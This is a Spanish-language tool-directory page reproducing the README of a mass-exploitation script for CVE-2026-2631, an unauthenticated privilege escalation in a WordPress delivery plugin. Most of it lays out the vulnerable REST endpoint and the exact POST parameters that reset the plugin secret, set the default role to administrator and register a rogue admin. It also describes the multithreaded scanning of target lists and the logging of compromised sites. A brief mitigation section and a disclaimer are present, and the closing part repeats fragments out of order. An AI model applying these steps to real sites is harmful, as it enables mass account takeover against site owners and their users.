Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-2631 — Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalada de Privilegios No Autenticada | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2026-2631
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubnxploited/cve-2026-2631

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalada de Privilegios No Autenticada

Ver Repositorio
3hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalada de Privilegios No Autenticada

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Escalada de Privilegios No Autenticada

PoC / Script de Exploit: CVE-2026-2631.py
Autor: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contacto: Telegram: @Kxploit


🧬 Resumen de la Vulnerabilidad

  • Plugin: Datalogics Ecommerce Delivery – Datalogics (WordPress)
  • Versiones Afectadas: < 2.6.60 (excluyendo 2.6.60)
  • Tipo de Vulnerabilidad: Escalada de Privilegios No Autenticada
  • CVE: CVE-2026-2631
  • CVSS v3.1: 9.8 (Crítica)
    AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Publicado Públicamente: 12 de marzo de 2026
  • Última Actualización: 19 de marzo de 2026
  • Investigador: Khaled Alenazi (Nxploited)

El plugin Datalogics Ecommerce Delivery – Datalogics expone un endpoint no autenticado:

root@kitploit:~
/wp-json/gsf/v1/update-options

Este script abusa de ese endpoint para:

  1. 💣 Restablecer la clave interna shop_secret usando la acción vulnerable resetStoreConfigrations.
  2. 🔓 Habilitar el registro de usuarios: users_can_register = 1.
  3. 👑 Establecer el rol predeterminado de los nuevos usuarios como administrator: default_role = administrator.
  4. 🧑‍💻 Auto-registrar un nuevo usuario mediante el formulario de registro de WordPress:
    • wp-login.php?action=register

Si tiene éxito, cualquier usuario nuevo creado a través del formulario de registro será un administrador.


⚙️ Características

  • ✅ Explotación masiva contra múltiples objetivos WordPress (desde un archivo).
  • ✅ No autenticado (no requiere inicio de sesión/cookies).
  • ✅ Restablecimiento automático de shop_secret mediante el endpoint REST vulnerable.
  • ✅ Actualización automática de opciones de WordPress:
    • users_can_register = 1
    • default_role = administrator
  • ✅ Registro automático de cuentas con credenciales personalizadas.
  • ✅ Salida TUI enriquecida usando rich (tabla con colores y actualización en vivo).
  • ✅ Multihilo con número de hilos ajustable.
  • ✅ Registro de resultados en Login_admin.txt.

📦 Requisitos

🐍 Entorno de Ejecución

  • Python 3.x (se recomienda 3.8+)

📚 Paquetes de Python

Instala los paquetes requeridos:

root@kitploit:~
pip install -r requirements.txt

Ejemplo de requirements.txt:

root@kitploit:~
requests
rich
urllib3

O instálalo manualmente:

root@kitploit:~
pip install requests rich urllib3

🧪 Lógica del Script (Flujo de Alto Nivel)

Para cada objetivo:

  1. Normalizar URL

    • Se asegura de que se agregue http:// si falta.
    • Elimina las barras finales.
  2. Restablecer shop_secret

    • Endpoint:
      /wp-json/gsf/v1/update-options
    • Datos POST:
      • action = resetStoreConfigrations
      • shop_secret = <new_secret>
    • Busca el texto de respuesta:
      • app secret key has been updated successfully
  3. Actualizar Opciones de WordPress

    • Mismo endpoint, con:
      • action = createUpdateOption
    • Dos actualizaciones de opciones:
      1. option_key = users_can_register, option_value = 1
      2. option_key = default_role,

🧵 Modelo de Multihilo

  • Lee todos los objetivos de list.txt (o de un archivo personalizado).
  • Divide los objetivos en N fragmentos usando chunkify.
  • Lanza N hilos de trabajo, cada uno procesando su propia lista de objetivos.
  • Usa una Queue compartida para los mensajes de estado hacia el hilo de impresión.
  • Un hilo de impresión dedicado (printer_loop) actualiza una tabla rich en vivo:
    • Muestra índice, sitio, estado (SUCCESS/FAILED/ERROR) y detalle.
    • Muestra el total procesado y el nombre del archivo de salida.

🚀 Uso

1️⃣ Ejecución Básica

root@kitploit:~
python3 CVE-2026-2631.py

Se te solicitará de forma interactiva:

  1. Archivo de objetivos

    • Indicación: Targets file (one host/URL per line) [list.txt]:
    • Predeterminado: list.txt
    • Cada línea: dominio o URL completa
      • Ejemplos:
        • victim.com
        • https://target-site.com
        • http://example.org/blog
  2. Hilos

    • Indicación: Threads (1-50) [10]:
    • Predeterminado: 10
    • Máximo: 50
      Más hilos = más rápido, pero mayor carga en tu sistema y en los objetivos.
  3. Valor de shop_secret

    • Indicación: shop_secret [Nxploited_newSecret]:
    • Predeterminado: Nxploited_newSecret
      Esta es la nueva clave secreta enviada a resetStoreConfigrations.

Estas credenciales se usarán para el intento de registro en cada objetivo vulnerable.


2️⃣ Formato del Archivo de Objetivos

Crea list.txt (o cualquier archivo que quieras) con un objetivo por línea:

root@kitploit:~
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

El script:

  • Añadirá http:// automáticamente si falta.
  • Eliminará la / final.

3️⃣ Salida y Resultados

  • Todas las operaciones exitosas (incluso si el registro de usuario falla pero las opciones se establecen) se escriben en:

    Login_admin.txt

  • Una línea típica:

    root@kitploit:~
    http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
    
  • Ejemplos de estado en la tabla en vivo:

    • ✅ SUCCESS – opciones establecidas y/o usuario registrado.
    • ❌ FAILED – restablecimiento/opciones fallaron, la vulnerabilidad no es explotable.
    • ⚠️ ERROR – Excepción, errores de red, tiempos de espera, etc.

🧱 Endpoints y Parámetros HTTP

🔓 Endpoint REST Vulnerable

root@kitploit:~
POST /wp-json/gsf/v1/update-options

1. Restablecer shop_secret

root@kitploit:~
action=resetStoreConfigrations
shop_secret=<new_secret>

2. Actualizar Opciones

root@kitploit:~
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
root@kitploit:~
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 Endpoint de Registro

root@kitploit:~
GET/POST /wp-login.php?action=register

El script:

  • Extrae _wpnonce si está presente.
  • Envía los datos de registro con el nombre de usuario, correo electrónico y contraseña proporcionados (si los campos existen).

🔧 Detalles Internos del Script (Funciones Clave)

  • normalize_site(raw: str) -> str
    Normaliza las URLs de los objetivos.

  • send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
    Intenta la acción resetStoreConfigrations.

  • send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
    Establece opciones de WordPress mediante el endpoint vulnerable.

  • check_registration_open(site: str, timeout: int = 10) -> (bool, str)
    Comprueba si el registro está abierto y el formulario es accesible.

  • try_register_user(...) -> (bool, str)
    Intenta registrar el usuario proporcionado.

  • write_success_line(site: str, secret: str, detail: str)
    Registra los detalles de éxito en Login_admin.txt.

  • worker(...)
    Trabajador por hilo que:


🧪 Ejemplo de Ejecución (Interactiva)

root@kitploit:~
$ python3 CVE-2026-2631.py

[Banner / ASCII Art]

Targets file (one host/URL per line) [list.txt]:
> list.txt

Threads (1-50) [10]:
> 20

shop_secret [Nxploited_newSecret]:
> NxSecret2026!

Registration username [Nx_test1]:
> admin_nx

Registration email [[email protected]]:
> [email protected]

Registration password [Nx_adminSA]:
> SuperStrongP@ss!

[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt

Done. Successful sites (if any) saved to Login_admin.txt.

🛡️ Mitigación y Recomendaciones

Para Defensores / Propietarios de Sitios:

  • 🔁 Actualiza el plugin a la versión 2.6.60 o posterior inmediatamente.
  • 🧹 Revisa:
    • La lista de usuarios de WordPress en busca de administradores desconocidos.
    • Registros recientes en wp_users.
  • 🔑 Regenera cualquier secreto o clave usada por el plugin.
  • 📜 Inspecciona los registros de acceso en busca de accesos a:
    • /wp-json/gsf/v1/update-options
    • /wp-login.php?action=register
  • 🧱 Considera reglas de WAF para bloquear el acceso no autorizado a endpoints REST sensibles.

⚠️ Aviso Legal

Este script se proporciona estrictamente con fines educativos y de pruebas de seguridad autorizadas.

  • No debes usar esta herramienta en ningún sistema, aplicación o red sin el permiso explícito por escrito del propietario.
  • El acceso no autorizado, la explotación o el abuso de vulnerabilidades es ilegal y puede resultar en cargos penales.
  • El autor (Khaled Alenazi – Nxploited), los colaboradores y los distribuidores de este script:
    • ❌ NO asumen ninguna responsabilidad u obligación por:
      • Uso indebido de este código
      • Daños causados directa o indirectamente
      • Cualquier consecuencia legal derivada de su uso
  • Al usar este script, aceptas que:
    • Eres el único responsable de tus acciones.
    • Cumplirás con todas las leyes y regulaciones locales, nacionales e internacionales aplicables.
    • Usarás esta herramienta solo en entornos controlados y/o con autorización adecuada (PT/Red Team, bug bounty, laboratorio, etc.).

Si no estás de acuerdo con estos términos, no uses este script.


❤️ Créditos

  • Investigación y Exploit:
    • Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
  • CVE: CVE-2026-2631
  • Contacto: @Kxploit en Telegram

Mantente a salvo, hackea responsablemente. 🕶️💻

Descargar herramienta
option_value = administrator
  • Patrón de éxito:
    • wordpress option has been created or updated successfully
  • Comprobar si el Registro está Abierto

    • URL:
      /wp-login.php?action=register
    • Comprueba el HTML en busca de:
      • Users can register, Anyone can register, user_registration, registerform
    • O detecta explícitamente:
      • user registration is currently not allowed
  • Intentar el Registro de Usuario

    • Misma URL de registro.
    • Extrae _wpnonce de la entrada oculta si está presente.
    • Envía el POST de registro:
      • user_login, user_email
      • user_pass/user_pass2 si existen campos de contraseña
      • _wpnonce, _wp_http_referer, redirect_to, wp-submit=Register
    • Detecta el éxito mediante:
      • registration complete, check your email, user registered
    • Si el nombre de usuario ya existe:
      • Lo marca como éxito: user_already_exists
  • Registro

    • Cada actualización de opciones exitosa (con o sin éxito de registro) escribe una línea en:
      • Login_admin.txt
    • Formato:
      root@kitploit:~
      <site> | register_url: <url> | shop_secret: <secret> | <details>
      
  • Credenciales de registro

    • Registration username [Nx_test1]:
    • Registration email [[email protected]]:
    • Registration password [Nx_adminSA]:
  • Restablece shop_secret
  • Establece las opciones
  • Comprueba el registro
  • Intenta el registro
  • Registra el resultado y envía el estado a la cola
  • printer_loop(queue: Queue, total: int)
    Lee los mensajes de la cola y actualiza una interfaz de tabla en vivo rich.

  • main()
    Orquesta:

    • Banner
    • Indicaciones al usuario
    • Carga de objetivos
    • Creación de hilos
    • Unión y mensaje final.